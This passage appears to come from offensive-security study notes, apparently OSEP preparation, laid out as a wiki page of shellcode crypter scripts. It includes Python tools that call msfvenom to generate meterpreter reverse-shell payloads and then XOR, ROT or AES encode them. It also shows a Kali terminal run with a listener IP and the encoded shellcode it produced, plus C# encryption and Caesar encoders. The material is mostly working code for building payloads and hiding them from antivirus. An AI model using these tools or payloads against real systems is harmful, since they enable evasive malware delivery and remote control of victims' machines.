parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
